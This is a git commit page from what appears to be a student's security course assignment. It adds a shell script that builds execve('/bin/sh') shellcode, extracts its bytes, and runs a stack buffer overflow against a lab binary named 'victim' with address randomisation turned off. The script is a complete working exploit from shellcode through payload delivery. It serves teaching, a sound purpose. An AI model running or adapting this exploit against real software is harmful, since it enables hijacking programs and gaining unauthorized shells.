diff options
author | Camil Staps | 2015-12-29 21:59:09 +0100 |
---|---|---|
committer | Camil Staps | 2015-12-29 21:59:09 +0100 |
commit | 29d4f26127ef8f3925df8437b41c89e3093d3508 (patch) | |
tree | b88d296e97e64dbbd4d66bd02214f3e7a6b55f41 /CamilStaps-s4498062-Assignment-6/ex2.sh | |
parent | Fixed typo (diff) |
Assignment 6
Diffstat (limited to 'CamilStaps-s4498062-Assignment-6/ex2.sh')
-rwxr-xr-x | CamilStaps-s4498062-Assignment-6/ex2.sh | 15 |
1 files changed, 15 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/ex2.sh b/CamilStaps-s4498062-Assignment-6/ex2.sh new file mode 100755 index 0000000..0a86bf5 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/ex2.sh @@ -0,0 +1,15 @@ +echo 'int main() {\n asm("\\\nneedle0: jmp there\\n\\\nhere: pop %rdi\\n\\\n xor %rax, %rax\\n\\\n movb $0x3b, %al\\n\\\n xor %rsi, %rsi\\n\\\n xor %rdx, %rdx\\n\\\n syscall\\n\\\nthere: call here\\n\\\n.string \\"/bin/sh\\"\\n\\\nneedle1: .octa 0xdeadbeef\\n\\\n ");\n}' > shell.c +gcc shell.c + +start=`objdump -d a.out | grep '<needle0>:' | cut -f 1 -d ' '` +end=`objdump -d a.out | grep '<needle1>:' | cut -f 1 -d ' '` +start=$((0x$start-0x400000)) +end=$((0x$end-0x400000)) +l=$((end-start)) +while [ ! $((l % 32)) -eq 0 ]; do l=$((l+1)); done +xxd -s0x`printf %x $start` -l$l -p a.out shellcode + +a=$(echo "Camil" | setarch `arch` -R ./victim | head -n1) +a=$(printf %016x $a | tac -rs..) +( ( cat shellcode ; printf "%0464d" 0 ; echo $a ) | xxd -r -p ; cat ) | setarch `arch` -R ./victim + |